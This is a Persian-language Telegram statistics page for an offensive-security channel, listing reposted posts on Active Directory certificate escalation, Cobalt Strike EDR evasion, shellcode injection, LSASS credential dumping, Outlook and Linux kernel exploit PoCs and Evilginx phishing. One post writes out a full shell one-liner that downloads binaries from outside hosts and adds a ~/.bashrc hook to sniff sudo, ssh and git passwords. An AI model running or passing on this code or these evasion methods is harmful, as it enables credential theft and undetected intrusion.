fa
Feedback
APT

APT

رفتن به کانال در Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

نمایش بیشتر
روسيا45 663فناوری و برنامه‌ها8 841

📈 تحلیل کانال تلگرام APT

کانال APT (@apt_notes) در بخش زبانی انگلیسی بازیگری فعال است. در حال حاضر جامعه شامل 14 650 مشترک است و جایگاه 8 841 را در دسته فناوری و برنامه‌ها و رتبه 45 663 را در منطقه روسيا دارد.

📊 شاخص‌های مخاطب و پویایی

از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 14 650 مشترک جذب کرده است.

بر اساس آخرین داده‌ها در تاریخ 11 ژوئن, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 406 و در ۲۴ ساعت گذشته برابر 16 بوده و همچنان دسترسی گسترده‌ای حفظ شده است.

  • وضعیت تأیید: تأیید نشده
  • نرخ تعامل (ER): میانگین تعامل مخاطب 48.83% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً N/A% واکنش نسبت به کل مشترکان کسب می‌کند.
  • دسترسی پست‌ها: هر پست به طور میانگین 7 154 بازدید دریافت می‌کند. در اولین روز معمولاً 0 بازدید جمع‌آوری می‌شود.
  • واکنش‌ها و تعامل: مخاطبان به‌طور فعال حمایت می‌کنند؛ میانگین واکنش به هر پست 18 است.

📝 توضیح و سیاست محتوایی

نویسنده این فضا را محل بیان دیدگاه‌های شخصی توصیف می‌کند:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

به لطف به‌روزرسانی‌های پرتکرار (آخرین داده در تاریخ 12 ژوئن, 2026)، کانال همواره به‌روز و دارای دسترسی بالاست. تحلیل‌ها نشان می‌دهد مخاطبان به‌طور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامه‌ها تبدیل کرده‌اند.

14 650
مشترکین
+1624 ساعت
+1087 روز
+40630 روز
آرشیو پست ها
APT
APT
14 653
Repost from 1N73LL1G3NC3
Pwning the Domain: AD CS (Active Directory Certificate Services) Domain Escalation: • ESC 1 (Template misconfiguration) • ESC
Pwning the Domain: AD CS (Active Directory Certificate Services) Domain Escalation: 
   • ESC 1 (Template misconfiguration)
   • ESC 2 (Template misconfiguration)
   • ESC 3 (Template misconfiguration)
   • ESC 4 (Access Controls Attacks)
   • ESC 5 (Sufficient rights against several objects)
   • ESC 6 (CA Configuration)
   • ESC 7 (Sufficient rights against the CA)
   • ESC8
   • ESC9
   • ESC10
   • ESC11
   • ESC12
   • ESC13
Domain Persistence: 
   • DPERSIST1 (Forge certificates with stolen CA certificate)
   • DPERSIST2
   • DPERSIST3
Account Persistence:
   • PERSIST1 (User Account)
   • PERSIST2 (Machine account)
   • PERSIST3
Domain Certificate Theft: 
   • THEFT1 (Export user certificates with Crypto APIs)
   • THEFT2 (Certificate theft via DPAPI): User certificates THEFT, Machine certificates Theft
   • THEFT3
   • THEFT4
   • THEFT5

APT
APT
14 653
🖥 Hide Cobalt-Strike like a PRO The article outlines methods to conceal Cobalt Strike from detection by antivirus and EDR sy
🖥 Hide Cobalt-Strike like a PRO The article outlines methods to conceal Cobalt Strike from detection by antivirus and EDR systems, with a particular focus on bypassing Kaspersky Endpoint Security. Author introduces the HCS tool for obfuscating JARM signatures and offers detailed steps for modifying Cobalt Strike’s code and SSL certificates to enhance OPSEC. 🔗 https://blog.injectexp.dev/2024/02/27/hide-cobalt-strike-like-a-pro/ #cobaltstrike #customize #kaspersky #bypass

APT
APT
14 653
🖥 Stealthy Shellcode Injection: Exploiting Windows Fork API for Memory Manipulation Abusing Windows fork API and OneDrive.exe process to inject the malicious shellcode without allocating new RWX memory region. This technique is finding RWX region in already running processes in this case OneDrive.exe and Write shellcode into that region and execute it without calling VirtualProtect, VirtualAllocEx, VirtualAlloc. 🚀 Steps: — Find the OneDrive.exe in running processes; — Get the handle of OneDrive.exe; — Query remote process memory information; — look for RWX memory regions; — Write shellcode into found region of OneDrive.exe; — Fork OneDrive.exe into a new process; — Set the forked process's start address to the cloned shellcode; — Terminate the cloned process after execution. 🔗 https://github.com/Offensive-Panda/RWX_MEMEORY_HUNT_AND_INJECTION_DV #winapi #onedrive #injection #maldev #cpp

APT
APT
14 653
Repost from N/a
Участник DreamTeam Acrono сделал предложение своей девушке 😍 Давайте поздравим ребят!

APT
APT
14 653
Repost from Волосатый бублик

APT
APT
14 653
Repost from Похек
From Zero to Hero: Phishing company #phishing #фишинг #перевод #от_подписчика Эксклюзивно для канала Похек, @resource_not_found сделал перевод этой статьи на русский язык. 🙏 Спасибо большое ему и надеюсь она будет вам полезна) 🌚 @poxek

APT
APT
14 653
🏆 Pentest Award: Ежегодная независимая премия для пентестеров Команда Awillix объявила о начале приема заявок на ежегодную п
🏆 Pentest Award: Ежегодная независимая премия для пентестеров Команда Awillix объявила о начале приема заявок на ежегодную премию — Pentest Award. Это отличная возможность выразить свои достижения и продемонстрировать вклад в ИБ сообщество, а также поделиться лучшими практическими историями. В этот раз будет 6 номинаций, по три призовых места в каждой: — Пробив WEB; — Пробив инфраструктуры; — Девайс; — Hack the logic; — Раз bypass, два bypass; — Ловись рыбка. Главный приз — тяжеленная стеклянная именная статуэтка, которую, к слову, в прошлом году выиграл мой дорогой snovvcrash за первое место. И конечно, не менее главные призы: макбуки, айфоны, смарт-часы, умные колонки, а также другие бесценные подарки от BI.ZONE Bug Bounty и VK Bug Bounty. #pentestaward

APT
APT
14 653
Repost from Offensive Xwitter
😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ] A ~/.bashrc 1-liner to sniff 🐶 sudo/ssh/git passwords (pty
😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ] A ~/.bashrc 1-liner to sniff 🐶 sudo/ssh/git passwords (pty MitM). No root required 👀 command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \ && { mkdir -p ~/.config/.pty 2>/dev/null; :; } \ && curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/$(uname -m)/Baseutils/script" \ && curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \ && chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \ && echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \ && echo -e '[ -z "$LC_PTY" ] && [ -t0 ] && [[ "$HISTFILE" != *null* ]] && [ -x ~/.config/.pty/ini ] && [ -x ~/.config/.pty/pty ] && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -qaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$\e[0m' 🔗 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet?tab=readme-ov-file#10-session-sniffing-and-hijaking 🐥 [ tweet ] прикольно, напомнило https://ppn.snovvcrash.rocks/pentest/infrastructure/post-exploitation#vim-keylogger

APT
APT
14 653
Repost from Ralf Hacker Channel
Ой, красота))) Получить данные из LSA без дампа LSASS. Tool: https://github.com/EvanMcBroom/lsa-whisperer Blog: https://posts.specterops.io/lsa-whisperer-20874277ea3b #redteam #pentest #creds #dump

APT
APT
14 653
Repost from Ralf Hacker Channel
Ой, красота))) Получить данные из LSA без дампа LSASS. 
Historically was able to (and may presently still) bypass:
* Windows Defender
* Malwarebytes Anti-Malware
* CrowdStrike Falcon EDR (Falcon Complete + OverWatch)
Tool: https://github.com/Meowmycks/LetMeowIn?tab=readme-ov-file Blog: https://posts.specterops.io/lsa-whisperer-20874277ea3b #redteam #pentest #creds #dump

APT
APT
14 653
Repost from 1N73LL1G3NC3
CVE-2024-21338 LPE from Admin to Kernel vulnerability on Windows 10 and Windows 11 operating systems with HVCI enabled. Blog:
CVE-2024-21338 LPE from Admin to Kernel vulnerability on Windows 10 and Windows 11 operating systems with HVCI enabled. Blog: https://hakaisecurity.io/cve-2024-21338-from-admin-to-kernel-through-token-manipulation-and-windows-kernel-exploitation/research-blog/

APT
APT
14 653
Evilginx ❤️ Gophish The highly anticipated official integration between Evilginx and Gophish has been unveiled in the latest
Evilginx ❤️ Gophish The highly anticipated official integration between Evilginx and Gophish has been unveiled in the latest Evilginx 3.3 update. Alongside this major feature, the update brings numerous quality-of-life enhancements. 🔗 https://breakdev.org/evilginx-3-3-go-phish/ #evilginx #gophish #phishing

APT
APT
14 653
Repost from 1N73LL1G3NC3
CVE-2024-1086 Linux kernel LPE Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images. A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the Flipping Pages blogpost.

APT
APT
14 653
Repost from PT SWARM
🎁 Source Code Disclosure in IIS 10.0! Almost. There is a method to reveal the source code of some .NET apps. Here's how it w
🎁 Source Code Disclosure in IIS 10.0! Almost. There is a method to reveal the source code of some .NET apps. Here's how it works. 👉 https://swarm.ptsecurity.com/source-code-disclosure-in-asp-net-apps/

APT
APT
14 653
Repost from Внутрянка
Материал про пентест 1С

APT
APT
14 653
Repost from 1N73LL1G3NC3
CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC 📜 Description This script presents a proof of concept (PoC) for CVE-2024-21413, a significant security vulnerability discovered in Microsoft Outlook with a CVSS of 9.8. Termed the #MonikerLink bug, this vulnerability has far-reaching implications, including the potential leakage of local NTLM information and the possibility of remote code execution. Moreover, it highlights an attack vector that could bypass Office Protected View, thereby extending its threat to other Office applications.

APT
APT
14 653
Repost from Ralf Hacker Channel
CVE-2024-21413: Microsoft Outlook Leak Hash https://github.com/duy-31/CVE-2024-21413 #exploit #pentest #redteam #ad

APT
APT
14 653
Repost from SecuriXy.kz
Теперь можно извлекать учетные данные без обращения к диску (Dumping credentials without touching disk) с помощью утилиты #go
Теперь можно извлекать учетные данные без обращения к диску (Dumping credentials without touching disk) с помощью утилиты #go-secdump которая поддерживает и SOCKS Proxy решая проблему #Impacket https://github.com/jfjallid/go-secdump скоро и в Impacket запилят и будет красота https://github.com/fortra/impacket/pull/1698

APT
APT
14 653
🔑 I Know What Your Password Was Last Summer... This is a blog post about password analysis and some research regarding frequently hacked NTLM passwords. 🔗 https://labs.lares.com/password-analysis/ #bruteforce #hashcat #ntlm

APT
APT
14 653
⚙️ MultiDump This is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly. MultiDump supp
⚙️ MultiDump This is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly. MultiDump supports LSASS dump via ProcDump.exe or Comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis 🔗 https://github.com/Xre0uS/MultiDump #lsass #remote #cpp #python